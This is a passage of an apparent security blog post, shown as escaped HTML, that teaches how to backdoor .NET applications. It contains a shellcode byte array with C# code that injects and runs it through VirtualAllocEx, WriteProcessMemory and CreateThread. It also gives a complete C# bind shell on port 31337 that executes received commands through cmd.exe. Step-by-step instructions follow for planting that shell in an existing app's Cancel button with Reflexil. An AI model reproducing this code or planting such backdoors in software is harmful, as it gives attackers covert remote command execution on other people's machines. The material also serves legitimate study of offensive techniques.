#666666\">0<\/span>x8b,<span style=\"color: #666666\">0<\/span>x58,<span style=\"color: #666666\">0<\/span>x24,<span style=\"color: #666666\">0<\/span>x01,<span style=\"color: #666666\">0<\/span>xd3,<span style=\"color: #666666\">0<\/span>x66,<span style=\"color: #666666\">0<\/span>x8b,\r\n<span style=\"color: #666666\">0<\/span>x0c,<span style=\"color: #666666\">0<\/span>x4b,<span style=\"color: #666666\">0<\/span>x8b,<span style=\"color: #666666\">0<\/span>x58,<span style=\"color: #666666\">0<\/span>x1c,<span style=\"color: #666666\">0<\/span>x01,<span style=\"color: #666666\">0<\/span>xd3,<span style=\"color: #666666\">0<\/span>x8b,<span style=\"color: #666666\">0<\/span>x04,<span style=\"color: #666666\">0<\/span>x8b,<span style=\"color: #666666\">0<\/span>x01,<span style=\"color: #666666\">0<\/span>xd0,<span style=\"color: #666666\">0<\/span>x89,<span style=\"color: #666666\">0<\/span>x44,<span style=\"color: #666666\">0<\/span>x24,\r\n<span style=\"color: #666666\">0<\/span>x24,<span style=\"color: #666666\">0<\/span>x5b,<span style=\"color: #666666\">0<\/span>x5b,<span style=\"color: #666666\">0<\/span>x61,<span style=\"color: #666666\">0<\/span>x59,<span style=\"color: #666666\">0<\/span>x5a,<span style=\"color: #666666\">0<\/span>x51,<span style=\"color: #666666\">0<\/span>xff,<span style=\"color: #666666\">0<\/span>xe0,<span style=\"color: #666666\">0<\/span>x5f,<span style=\"color: #666666\">0<\/span>x5f,<span style=\"color: #666666\">0<\/span>x5a,<span style=\"color: #666666\">0<\/span>x8b,<span style=\"color: #666666\">0<\/span>x12,<span style=\"color: #666666\">0<\/span>xeb,\r\n<span style=\"color: #666666\">0<\/span>x8d,<span style=\"color: #666666\">0<\/span>x5d,<span style=\"color: #666666\">0<\/span>x68,<span style=\"color: #666666\">0<\/span>x33,<span style=\"color: #666666\">0<\/span>x32,<span style=\"color: #666666\">0<\/span>x00,<span style=\"color: #666666\">0<\/span>x00,<span style=\"color: #666666\">0<\/span>x68,<span style=\"color: #666666\">0<\/span>x77,<span style=\"color: #666666\">0<\/span>x73,<span style=\"color: #666666\">0<\/span>x32,<span style=\"color: #666666\">0<\/span>x5f,<span style=\"color: #666666\">0<\/span>x54,<span style=\"color: #666666\">0<\/span>x68,<span style=\"color: #666666\">0<\/span>x4c,\r\n<span style=\"color: #666666\">0<\/span>x77,<span style=\"color: #666666\">0<\/span>x26,<span style=\"color: #666666\">0<\/span>x07,<span style=\"color: #666666\">0<\/span>xff,<span style=\"color: #666666\">0<\/span>xd5,<span style=\"color: #666666\">0<\/span>xb8,<span style=\"color: #666666\">0<\/span>x90,<span style=\"color: #666666\">0<\/span>x01,<span style=\"color: #666666\">0<\/span>x00,<span style=\"color: #666666\">0<\/span>x00,<span style=\"color: #666666\">0<\/span>x29,<span style=\"color: #666666\">0<\/span>xc4,<span style=\"color: #666666\">0<\/span>x54,<span style=\"color: #666666\">0<\/span>x50,<span style=\"color: #666666\">0<\/span>x68,\r\n<span style=\"color: #666666\">0<\/span>x29,<span style=\"color: #666666\">0<\/span>x80,<span style=\"color: #666666\">0<\/span>x6b,<span style=\"color: #666666\">0<\/span>x00,<span style=\"color: #666666\">0<\/span>xff,<span style=\"color: #666666\">0<\/span>xd5,<span style=\"color: #666666\">0<\/span>x6a,<span style=\"color: #666666\">0<\/span>x08,<span style=\"color: #666666\">0<\/span>x59,<span style=\"color: #666666\">0<\/span>x50,<span style=\"color: #666666\">0<\/span>xe2,<span style=\"color: #666666\">0<\/span>xfd,<span style=\"color: #666666\">0<\/span>x40,<span style=\"color: #666666\">0<\/span>x50,<span style=\"color: #666666\">0<\/span>x40,\r\n<span style=\"color: #666666\">0<\/span>x50,<span style=\"color: #666666\">0<\/span>x68,<span style=\"color: #666666\">0<\/span>xea,<span style=\"color: #666666\">0<\/span>x0f,<span style=\"color: #666666\">0<\/span>xdf,<span style=\"color: #666666\">0<\/span>xe0,<span style=\"color: #666666\">0<\/span>xff,<span style=\"color: #666666\">0<\/span>xd5,<span style=\"color: #666666\">0<\/span>x97,<span style=\"color: #666666\">0<\/span>x68,<span style=\"color: #666666\">0<\/span>x02,<span style=\"color: #666666\">0<\/span>x00,<span style=\"color: #666666\">0<\/span>x05,<span style=\"color: #666666\">0<\/span>x39,<span style=\"color: #666666\">0<\/span>x89,\r\n<span style=\"color: #666666\">0<\/span>xe6,<span style=\"color: #666666\">0<\/span>x6a,<span style=\"color: #666666\">0<\/span>x10,<span style=\"color: #666666\">0<\/span>x56,<span style=\"color: #666666\">0<\/span>x57,<span style=\"color: #666666\">0<\/span>x68,<span style=\"color: #666666\">0<\/span>xc2,<span style=\"color: #666666\">0<\/span>xdb,<span style=\"color: #666666\">0<\/span>x37,<span style=\"color: #666666\">0<\/span>x67,<span style=\"color: #666666\">0<\/span>xff,<span style=\"color: #666666\">0<\/span>xd5,<span style=\"color: #666666\">0<\/span>x57,<span style=\"color: #666666\">0<\/span>x68,<span style=\"color: #666666\">0<\/span>xb7,\r\n<span style=\"color: #666666\">0<\/span>xe9,<span style=\"color: #666666\">0<\/span>x38,<span style=\"color: #666666\">0<\/span>xff,<span style=\"color: #666666\">0<\/span>xff,<span style=\"color: #666666\">0<\/span>xd5,<span style=\"color: #666666\">0<\/span>x57,<span style=\"color: #666666\">0<\/span>x68,<span style=\"color: #666666\">0<\/span>x74,<span style=\"color: #666666\">0<\/span>xec,<span style=\"color: #666666\">0<\/span>x3b,<span style=\"color: #666666\">0<\/span>xe1,<span style=\"color: #666666\">0<\/span>xff,<span style=\"color: #666666\">0<\/span>xd5,<span style=\"color: #666666\">0<\/span>x57,<span style=\"color: #666666\">0<\/span>x97,\r\n<span style=\"color: #666666\">0<\/span>x68,<span style=\"color: #666666\">0<\/span>x75,<span style=\"color: #666666\">0<\/span>x6e,<span style=\"color: #666666\">0<\/span>x4d,<span style=\"color: #666666\">0<\/span>x61,<span style=\"color: #666666\">0<\/span>xff,<span style=\"color: #666666\">0<\/span>xd5,<span style=\"color: #666666\">0<\/span>x68,<span style=\"color: #666666\">0<\/span>x63,<span style=\"color: #666666\">0<\/span>x6d,<span style=\"color: #666666\">0<\/span>x64,<span style=\"color: #666666\">0<\/span>x00,<span style=\"color: #666666\">0<\/span>x89,<span style=\"color: #666666\">0<\/span>xe3,<span style=\"color: #666666\">0<\/span>x57,\r\n<span style=\"color: #666666\">0<\/span>x57,<span style=\"color: #666666\">0<\/span>x57,<span style=\"color: #666666\">0<\/span>x31,<span style=\"color: #666666\">0<\/span>xf6,<span style=\"color: #666666\">0<\/span>x6a,<span style=\"color: #666666\">0<\/span>x12,<span style=\"color: #666666\">0<\/span>x59,<span style=\"color: #666666\">0<\/span>x56,<span style=\"color: #666666\">0<\/span>xe2,<span style=\"color: #666666\">0<\/span>xfd,<span style=\"color: #666666\">0<\/span>x66,<span style=\"color: #666666\">0<\/span>xc7,<span style=\"color: #666666\">0<\/span>x44,<span style=\"color: #666666\">0<\/span>x24,<span style=\"color: #666666\">0<\/span>x3c,\r\n<span style=\"color: #666666\">0<\/span>x01,<span style=\"color: #666666\">0<\/span>x01,<span style=\"color: #666666\">0<\/span>x8d,<span style=\"color: #666666\">0<\/span>x44,<span style=\"color: #666666\">0<\/span>x24,<span style=\"color: #666666\">0<\/span>x10,<span style=\"color: #666666\">0<\/span>xc6,<span style=\"color: #666666\">0<\/span>x00,<span style=\"color: #666666\">0<\/span>x44,<span style=\"color: #666666\">0<\/span>x54,<span style=\"color: #666666\">0<\/span>x50,<span style=\"color: #666666\">0<\/span>x56,<span style=\"color: #666666\">0<\/span>x56,<span style=\"color: #666666\">0<\/span>x56,<span style=\"color: #666666\">0<\/span>x46,\r\n<span style=\"color: #666666\">0<\/span>x56,<span style=\"color: #666666\">0<\/span>x4e,<span style=\"color: #666666\">0<\/span>x56,<span style=\"color: #666666\">0<\/span>x56,<span style=\"color: #666666\">0<\/span>x53,<span style=\"color: #666666\">0<\/span>x56,<span style=\"color: #666666\">0<\/span>x68,<span style=\"color: #666666\">0<\/span>x79,<span style=\"color: #666666\">0<\/span>xcc,<span style=\"color: #666666\">0<\/span>x3f,<span style=\"color: #666666\">0<\/span>x86,<span style=\"color: #666666\">0<\/span>xff,<span style=\"color: #666666\">0<\/span>xd5,<span style=\"color: #666666\">0<\/span>x89,<span style=\"color: #666666\">0<\/span>xe0,\r\n<span style=\"color: #666666\">0<\/span>x4e,<span style=\"color: #666666\">0<\/span>x56,<span style=\"color: #666666\">0<\/span>x46,<span style=\"color: #666666\">0<\/span>xff,<span style=\"color: #666666\">0<\/span>x30,<span style=\"color: #666666\">0<\/span>x68,<span style=\"color: #666666\">0<\/span>x08,<span style=\"color: #666666\">0<\/span>x87,<span style=\"color: #666666\">0<\/span>x1d,<span style=\"color: #666666\">0<\/span>x60,<span style=\"color: #666666\">0<\/span>xff,<span style=\"color: #666666\">0<\/span>xd5,<span style=\"color: #666666\">0<\/span>xbb,<span style=\"color: #666666\">0<\/span>xe0,<span style=\"color: #666666\">0<\/span>x1d,\r\n<span style=\"color: #666666\">0<\/span>x2a,<span style=\"color: #666666\">0<\/span>x0a,<span style=\"color: #666666\">0<\/span>x68,<span style=\"color: #666666\">0<\/span>xa6,<span style=\"color: #666666\">0<\/span>x95,<span style=\"color: #666666\">0<\/span>xbd,<span style=\"color: #666666\">0<\/span>x9d,<span style=\"color: #666666\">0<\/span>xff,<span style=\"color: #666666\">0<\/span>xd5,<span style=\"color: #666666\">0<\/span>x3c,<span style=\"color: #666666\">0<\/span>x06,<span style=\"color: #666666\">0<\/span>x7c,<span style=\"color: #666666\">0<\/span>x0a,<span style=\"color: #666666\">0<\/span>x80,<span style=\"color: #666666\">0<\/span>xfb,\r\n<span style=\"color: #666666\">0<\/span>xe0,<span style=\"color: #666666\">0<\/span>x75,<span style=\"color: #666666\">0<\/span>x05,<span style=\"color: #666666\">0<\/span>xbb,<span style=\"color: #666666\">0<\/span>x47,<span style=\"color: #666666\">0<\/span>x13,<span style=\"color: #666666\">0<\/span>x72,<span style=\"color: #666666\">0<\/span>x6f,<span style=\"color: #666666\">0<\/span>x6a,<span style=\"color: #666666\">0<\/span>x00,<span style=\"color: #666666\">0<\/span>x53,<span style=\"color: #666666\">0<\/span>xff,<span style=\"color: #666666\">0<\/span>xd5 };\r\n\r\n<span style=\"color: #BB4444\">        [DllImport(&quot;Kernel32.dll&quot;)]<\/span>\r\n        <span style=\"color: #AA22FF; font-weight: bold\">private<\/span> <span style=\"color: #AA22FF; font-weight: bold\">static<\/span> <span style=\"color: #AA22FF; font-weight: bold\">extern<\/span> IntPtr <span style=\"color: #00A000\">CreateThread<\/span>( UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param,\r\n           UInt32 dwCreationFlags, <span style=\"color: #AA22FF; font-weight: bold\">ref<\/span> UInt32 lpThreadId );\r\n\r\n<span style=\"color: #BB4444\">        [DllImport(&quot;Kernel32.dll&quot;)]<\/span>\r\n        <span style=\"color: #AA22FF; font-weight: bold\">private<\/span> <span style=\"color: #AA22FF; font-weight: bold\">static<\/span> <span style=\"color: #AA22FF; font-weight: bold\">extern<\/span> IntPtr <span style=\"color: #00A000\">OpenProcess<\/span>(<span style=\"color: #00BB00; font-weight: bold\">uint<\/span> lol, <span style=\"color: #00BB00; font-weight: bold\">int<\/span> int_0, <span style=\"color: #00BB00; font-weight: bold\">int<\/span> int_1);\r\n<span style=\"color: #BB4444\">     <\/span>\r\n<span style=\"color: #BB4444\">        [DllImport(&quot;Kernel32.dll&quot;, ExactSpelling = true, SetLastError = true)]<\/span>\r\n        <span style=\"color: #AA22FF; font-weight: bold\">private<\/span> <span style=\"color: #AA22FF; font-weight: bold\">static<\/span> <span style=\"color: #AA22FF; font-weight: bold\">extern<\/span> IntPtr <span style=\"color: #00A000\">VirtualAllocEx<\/span>(IntPtr intptr_0, IntPtr intptr_1, IntPtr intptr_2, AllocationType allocationType_0, AllocationProtect allocationProtect_0);\r\n\r\n<span style=\"color: #BB4444\">        [DllImport(&quot;Kernel32.dll&quot;, SetLastError = true)]<\/span>\r\n        <span style=\"color: #AA22FF; font-weight: bold\">static<\/span> <span style=\"color: #AA22FF; font-weight: bold\">extern<\/span> <span style=\"color: #00BB00; font-weight: bold\">bool<\/span> <span style=\"color: #00A000\">WriteProcessMemory<\/span>(IntPtr hProcess, IntPtr lpBaseAddress,\r\n          <span style=\"color: #00BB00; font-weight: bold\">byte<\/span>[] lpBuffer, <span style=\"color: #00BB00; font-weight: bold\">int<\/span> dwSize, <span style=\"color: #AA22FF; font-weight: bold\">ref<\/span> <span style=\"color: #00BB00; font-weight: bold\">int<\/span> lpNumberOfBytesWritten);\r\n\r\n        <span style=\"color: #AA22FF; font-weight: bold\">public<\/span> <span style=\"color: #00A000\">Form1<\/span>()\r\n        {\r\n            InitializeComponent();\r\n        }\r\n\r\n        <span style=\"color: #AA22FF; font-weight: bold\">private<\/span> <span style=\"color: #AA22FF; font-weight: bold\">void<\/span> <span style=\"color: #00A000\">button1_Click<\/span>(<span style=\"color: #00BB00; font-weight: bold\">object<\/span> sender, EventArgs e)\r\n        {\r\n            System.Diagnostics.Process olo = System.Diagnostics.Process.GetCurrentProcess();\r\n            <span style=\"color: #00BB00; font-weight: bold\">int<\/span> pid = olo.Id;\r\n            IntPtr hProcess = OpenProcess(<span style=\"color: #666666\">0<\/span>x001F0FFF, <span style=\"color: #666666\">0<\/span>, pid);\r\n            <span style=\"color: #AA22FF; font-weight: bold\">if<\/span> (hProcess == IntPtr.Zero)\r\n            {\r\n                <span style=\"color: #AA22FF; font-weight: bold\">throw<\/span> <span style=\"color: #AA22FF; font-weight: bold\">new<\/span> <span style=\"color: #00A000\">Exception<\/span>(<span style=\"color: #BB4444\">&quot;Could not open process ID &quot;<\/span> + pid + <span style=\"color: #BB4444\">&quot;, are you running as an admin?&quot;<\/span>);\r\n            }\r\n            IntPtr intPtr = VirtualAllocEx(hProcess, IntPtr.Zero, (IntPtr)buf.Length,\r\n            AllocationType.Commit | AllocationType.Reserve, AllocationProtect.PAGE_EXECUTE_READWRITE);\r\n            <span style=\"color: #00BB00; font-weight: bold\">int<\/span> zero = <span style=\"color: #666666\">0<\/span>;\r\n            IntPtr kek = IntPtr.Zero;\r\n            WriteProcessMemory(hProcess, intPtr, buf, buf.Length, <span style=\"color: #AA22FF; font-weight: bold\">ref<\/span> zero);\r\n            UInt32 tid = <span style=\"color: #666666\">0<\/span>;\r\n            CreateThread(<span style=\"color: #666666\">0<\/span>, <span style=\"color: #666666\">0<\/span>, intPtr, kek, <span style=\"color: #666666\">0<\/span>, <span style=\"color: #AA22FF; font-weight: bold\">ref<\/span> tid);\r\n        }\r\n    }\r\n}\r\n<\/pre>\n<\/div>\n<p>Now that we have our app, how do we get it into an existing managed library? Same way we do it with regular .net exes? Haven&#8217;t I been <a href=\"http:\/\/www.gironsec.com\/blog\/2013\/02\/net-reversing-and-msil-modification\/\" target=\"_blank\">over this subject before<\/a>? <\/p>\n<p>So how do we inject into a managed dll? We don&#8217;t. Reflexil doesn&#8217;t allow the use of the &#8216;dllimport&#8217; directive in its generated code. It fails to add a proper reference in the .net metadata section for imported dll references. It looks like it would work at first, producing what looks like working MSIL code: <a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflexil_rocks.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflexil_rocks-1024x573.png\" alt=\"reflexil_rocks\" width=\"640\" height=\"358\" class=\"alignnone size-large wp-image-1360\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflexil_rocks-1024x573.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflexil_rocks-300x168.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflexil_rocks-768x430.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflexil_rocks.png 1920w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a> But oh no it doesn&#8217;t work. This is a <a href=\"https:\/\/github.com\/sailro\/Reflexil\/issues\/63\" target=\"_blank\">reflexil bug<\/a>.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/fuck.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/fuck.png\" alt=\"fuck\" width=\"534\" height=\"228\" class=\"alignnone size-full wp-image-1361\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/fuck.png 534w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/fuck-300x128.png 300w\" sizes=\"(max-width: 534px) 100vw, 534px\" \/><\/a><\/p>\n<p>Well fuck. What can we do? I tried with DnSpy, but god damn, same problem.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/1473388832060.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/1473388832060.png\" alt=\"1473388832060\" width=\"520\" height=\"423\" class=\"alignnone size-full wp-image-1376\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/1473388832060.png 520w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/1473388832060-300x244.png 300w\" sizes=\"(max-width: 520px) 100vw, 520px\" \/><\/a><br \/>\nWe could always just compile our code as a dll and straight up replace it with the name of another C# class library. So how could we technically backdoor a C# dll? We would have to look for unsafe calls to <a href=\"https:\/\/msdn.microsoft.com\/en-us\/library\/system.reflection.assembly.loadfile(v=vs.110).aspx\" target=\"_blank\">Assembly.LoadFile<\/a> or <a href=\"https:\/\/msdn.microsoft.com\/en-us\/library\/1009fa28(v=vs.110).aspx\" target=\"_blank\">Assembly.LoadFrom<\/a> and ensure our dll is called instead.  As for backdooring a .net exe, your best bet looks like total replacement of the exe if we do it this way. <\/p>\n<p>There is another way however. We don&#8217;t <i>need<\/i> shellcode to pop a shell &#8211; the .net framework should have everything we need. Luckily for us in C#, spawning a remote socket and process is trivial.<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #f8f8f8; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #AA22FF; font-weight: bold\">using<\/span> <span style=\"color: #0000FF; font-weight: bold\">System<\/span>;\r\n<span style=\"color: #AA22FF; font-weight: bold\">using<\/span> <span style=\"color: #0000FF; font-weight: bold\">System.Threading<\/span>;\r\n<span style=\"color: #AA22FF; font-weight: bold\">using<\/span> <span style=\"color: #0000FF; font-weight: bold\">System.IO<\/span>;\r\n<span style=\"color: #AA22FF; font-weight: bold\">using<\/span> <span style=\"color: #0000FF; font-weight: bold\">System.Net<\/span>;\r\n<span style=\"color: #AA22FF; font-weight: bold\">using<\/span> <span style=\"color: #0000FF; font-weight: bold\">System.Net.Sockets<\/span>;\r\n\r\n<span style=\"color: #AA22FF; font-weight: bold\">namespace<\/span> <span style=\"color: #0000FF; font-weight: bold\">ServerApp<\/span>\r\n{   \r\n    <span style=\"color: #AA22FF; font-weight: bold\">class<\/span> <span style=\"color: #0000FF\">Program<\/span>\r\n    {\r\n        <span style=\"color: #AA22FF; font-weight: bold\">static<\/span> <span style=\"color: #AA22FF; font-weight: bold\">void<\/span> <span style=\"color: #00A000\">Main<\/span>(<span style=\"color: #00BB00; font-weight: bold\">string<\/span>[] args)\r\n        {\r\n            <span style=\"color: #00BB00; font-weight: bold\">int<\/span> PortNo = <span style=\"color: #666666\">31337<\/span>;\r\n            TcpListener servListener;\r\n            servListener = <span style=\"color: #AA22FF; font-weight: bold\">new<\/span> TcpListener(IPAddress.Any, PortNo);\r\n            servListener.Start();\r\n            <span style=\"color: #AA22FF; font-weight: bold\">while<\/span> (<span style=\"color: #AA22FF; font-weight: bold\">true<\/span>)\r\n            {\r\n                Socket rocksock = servListener.AcceptSocket();\r\n                <span style=\"color: #AA22FF; font-weight: bold\">try<\/span>\r\n                {\r\n                    Stream dastream = <span style=\"color: #AA22FF; font-weight: bold\">new<\/span> NetworkStream(rocksock);\r\n                    StreamReader sr = <span style=\"color: #AA22FF; font-weight: bold\">new<\/span> StreamReader(dastream);\r\n                    StreamWriter sw = <span style=\"color: #AA22FF; font-weight: bold\">new<\/span> StreamWriter(dastream);\r\n                    sw.AutoFlush = <span style=\"color: #AA22FF; font-weight: bold\">true<\/span>;\r\n                    sw.WriteLine(<span style=\"color: #BB4444\">&quot;Joe&#39;s C# TCP Shell!!&quot;<\/span>);\r\n                    <span style=\"color: #AA22FF; font-weight: bold\">while<\/span> (<span style=\"color: #AA22FF; font-weight: bold\">true<\/span>)\r\n                    {\r\n                        <span style=\"color: #00BB00; font-weight: bold\">string<\/span> command = sr.ReadLine();\r\n                        <span style=\"color: #AA22FF; font-weight: bold\">if<\/span> (command == <span style=\"color: #BB4444\">&quot;&quot;<\/span> || command == <span style=\"color: #AA22FF; font-weight: bold\">null<\/span>)\r\n                        {\r\n                            sw.WriteLine(<span style=\"color: #BB4444\">&quot;Command not entered!&quot;<\/span>);\r\n                            <span style=\"color: #AA22FF; font-weight: bold\">break<\/span>;\r\n                        }\r\n                        System.Diagnostics.Process kek = <span style=\"color: #AA22FF; font-weight: bold\">new<\/span> System.Diagnostics.Process();\r\n                        kek.StartInfo.FileName = <span style=\"color: #BB4444\">&quot;cmd.exe&quot;<\/span>;\r\n                        kek.StartInfo.RedirectStandardOutput = <span style=\"color: #AA22FF; font-weight: bold\">true<\/span>;\r\n                        kek.StartInfo.Arguments = <span style=\"color: #BB4444\">&quot;\/c &quot;<\/span> + command;\r\n                        kek.StartInfo.UseShellExecute = <span style=\"color: #AA22FF; font-weight: bold\">false<\/span>;\r\n                        kek.Start();\r\n                        sw.WriteLine(<span style=\"color: #BB4444\">&quot;entered command {0}&quot;<\/span>, command);\r\n                        sw.WriteLine(<span style=\"color: #BB4444\">&quot;output: {0}&quot;<\/span>, kek.StandardOutput.ReadToEnd());\r\n                    }\r\n                    dastream.Close();\r\n                }\r\n                <span style=\"color: #AA22FF; font-weight: bold\">catch<\/span> (Exception e)\r\n                {\r\n                    Console.WriteLine(e.Message);\r\n                }\r\n                rocksock.Close();\r\n            }\r\n           \r\n        }\r\n        \r\n    }\r\n}\r\n<\/pre>\n<\/div>\n<p>We have our code, we now need a .net app to cram it into. I couldn&#8217;t find a suitable class library, so a .net app will do for our example:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/hasher_patched.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/hasher_patched.png\" alt=\"hasher_patched\" width=\"651\" height=\"644\" class=\"alignnone size-full wp-image-1367\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/hasher_patched.png 651w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/hasher_patched-300x297.png 300w\" sizes=\"(max-width: 651px) 100vw, 651px\" \/><\/a><\/p>\n<p>We&#8217;re going to backdoor my <a href=\"http:\/\/www.gironsec.com\/code\/JoeHasher.exe\" target=\"_blank\">JoeHasher<\/a> app. Loading the thing into Reflector, we locate the method associated with &#8216;cancel&#8217; and see its for a background worker cancellation instructions. This is a suitable spot. <a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/backdoor_csharp_2.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/backdoor_csharp_2.png\" alt=\"backdoor_csharp_2\" width=\"916\" height=\"699\" class=\"alignnone size-full wp-image-1368\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/backdoor_csharp_2.png 916w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/backdoor_csharp_2-300x229.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/backdoor_csharp_2-768x586.png 768w\" sizes=\"(max-width: 916px) 100vw, 916px\" \/><\/a><\/p>\n<p>Select the method in the tree view, bring up Reflexil from the file menu (tools->Reflexil), right click and select &#8220;Replace all with code&#8221;.<\/p>\n<p>When we have the compiler menu, we are going to be placing our code in the method &#8216;btnCancel_Click&#8217;. Reflexil is nice enough to leave the other areas alone and only mess with this method.<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflexil_23.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflexil_23-300x209.png\" alt=\"reflexil_23\" width=\"300\" height=\"209\" class=\"alignnone size-medium wp-image-1369\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflexil_23-300x209.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflexil_23-768x535.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflexil_23-1024x713.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflexil_23-500x350.png 500w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflexil_23.png 1045w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Now we need to throw our code inside. Reflexil is finicky with its code in that it wants absolute object names. Here it&#8217;s complaining about not being able to find my objects.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflex_it.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflex_it-300x168.png\" alt=\"reflex_it\" width=\"300\" height=\"168\" class=\"alignnone size-medium wp-image-1370\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflex_it-300x168.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflex_it-768x430.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflex_it-1024x573.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/reflex_it.png 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>This is fixed by using the absolute names. So like instead of <i>TcpListener<\/i> you go <i>System.Net.Sockets.TcpListener<\/i>. Do this for the other objects in the method and Reflexil will be satisfied.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/absolut.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/absolut-300x168.png\" alt=\"absolut\" width=\"300\" height=\"168\" class=\"alignnone size-medium wp-image-1371\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/absolut-300x168.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/absolut-768x430.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/absolut-1024x573.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/absolut.png 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Now press &#8216;ok&#8217; and right click on the module in the tree menu, choose the Reflexil menu, then click &#8216;Save as&#8230;&#8217;. This will save our work.<\/p>\n<p>Running our patched &#8216;JoeHasher&#8217; app and clicking the &#8216;Cancel&#8217; button does exactly what we want, spawns a shell on port 31337.<\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/backdoored_csharp_bin.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/backdoored_csharp_bin.png\" alt=\"backdoored_csharp_bin\" width=\"735\" height=\"370\" class=\"alignnone size-full wp-image-1372\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/backdoored_csharp_bin.png 735w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/backdoored_csharp_bin-300x151.png 300w\" sizes=\"(max-width: 735px) 100vw, 735px\" \/><\/a><\/p>\n<p>Connect to the fucker with Putty and we have our shell:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/putty.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/putty.png\" alt=\"putty\" width=\"602\" height=\"537\" class=\"alignnone size-full wp-image-1373\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/putty.png 602w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/putty-300x268.png 300w\" sizes=\"(max-width: 602px) 100vw, 602px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/putty2.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/putty2.png\" alt=\"putty2\" width=\"825\" height=\"521\" class=\"alignnone size-full wp-image-1374\" 